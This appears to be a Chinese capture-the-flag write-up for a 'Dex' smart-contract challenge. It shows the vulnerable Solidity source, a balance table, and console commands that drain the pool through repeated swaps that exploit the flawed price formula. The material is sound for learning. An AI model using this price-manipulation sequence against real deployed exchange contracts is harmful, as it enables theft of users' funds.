Dex
题目源码
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import '@openzeppelin/contracts/math/SafeMath.sol';
import '@openzeppelin/contracts/access/Ownable.sol';
contract Dex is Ownable {
using SafeMath for uint;
address public token1;
address public token2;
constructor() public {}
function setTokens(address _token1, address _token2) public onlyOwner {
token1 = _token1;
token2 = _token2;
}
function addLiquidity(address token_address, uint amount) public onlyOwner {
IERC20(token_address).transferFrom(msg.sender, address(this), amount);
}
function swap(address from, address to, uint amount) public {
require((from == token1 && to == token2) || (from == token2 && to == token1), "Invalid tokens");
require(IERC20(from).balanceOf(msg.sender) >= amount, "Not enough to swap");
uint swapAmount = getSwapPrice(from, to, amount);
IERC20(from).transferFrom(msg.sender, address(this), amount);
IERC20(to).approve(address(this), swapAmount);
IERC20(to).transferFrom(address(this), msg.sender, swapAmount);
}
function getSwapPrice(address from, address to, uint amount) public view returns(uint){
return((amount * IERC20(to).balanceOf(address(this)))/IERC20(from).balanceOf(address(this)));
}
function approve(address spender, uint amount) public {
SwappableToken(token1).approve(msg.sender, spender, amount);
SwappableToken(token2).approve(msg.sender, spender, amount);
}
function balanceOf(address token, address account) public view returns (uint){
return IERC20(token).balanceOf(account);
}
}
contract SwappableToken is ERC20 {
address private _dex;
constructor(address dexInstance, string memory name, string memory symbol, uint256 initialSupply) public ERC20(name, symbol) {
_mint(msg.sender, initialSupply);
_dex = dexInstance;
}
function approve(address owner, address spender, uint256 amount) public returns(bool){
require(owner != _dex, "InvalidApprover");
super._approve(owner, spender, amount);
}
}
题目要求
初始化的时候,池子里 token1 和 token2 分别是 100,player
手里两个 token 数量分别是 10。要求取空池子里中一个或两个代币
题目分析
这个题目主要是价格计算公式有问题。价格计算公式会不断放大两个 token 来回买卖的价格。可以通过下面表格看出对应的问题
token1 | token2 | ||
---|---|---|---|
initialize | pool | 100 | 100 |
player | 10 | 10 | |
token1-> token2: 10 | pool | 110 | 90 |
player | 0 | 20 | |
token2->token1: 20 | pool | 86 | 110 |
player | 24 | 0 | |
token1->token2: 24 | pool | 110 | 80 |
player | 0 | 30 | |
token2-> token1: 30 | pool | 69 | 110 |
player | 41 | 0 | |
token1->token2: 41 | pool | 110 | 45 |
player | 0 | 65 | |
token2->token1: 45 | pool | 0 | 90 |
player | 45 | 110 |
其中最后一次的时候需要swap
45 个,因为池子里token1
总共剩余 110 个,如果兑换多了,IERC20(to).transferFrom(address(this), msg.sender, swapAmount);
这行代码执行将会不成功。
最后一次swap
需要交易 45 个的推导公式如下
设:
Pool
对应 token1
,token2
的数量分别为 pt1,pt2
player
对应的token
、token2
的数量分别为 ut1,ut2
设下次token2->token1
兑换后最新的价格为K
(也就是对应 pool 中 token1 的 amountOut),会有以下计算公式
K = pt1 * ut2 / pt2
由于计算出新的价格以后,需要转对应的token1
给player
,所以这里要求K = pt1
(pool 中 token1 的 amountOut = pt1)。展开以后得出
pt1 = pt1 * ut2 / pt2
=>
pt1(ut2-pt2) = 0
=>
最后一次输入需要是45个token
攻击步骤
// 授权合约转账player的两个token
await contract.approve(instance,10000)
// 设置两个token变量
const token1 = await contract.token1()
const token2 = await contract.token2()
// 执行来回swap方法
await contract.swap(token1,token2,10)
await contract.swap(token2,token1,20)
await contract.swap(token1,token2,24)
await contract.swap(token2,token1,30)
await contract.swap(token1,token2,41)
await contract.swap(token2,token1,45)
// 检查合约中token2的数量
(await contract.balanceOf(token1,instance)).toString() => 0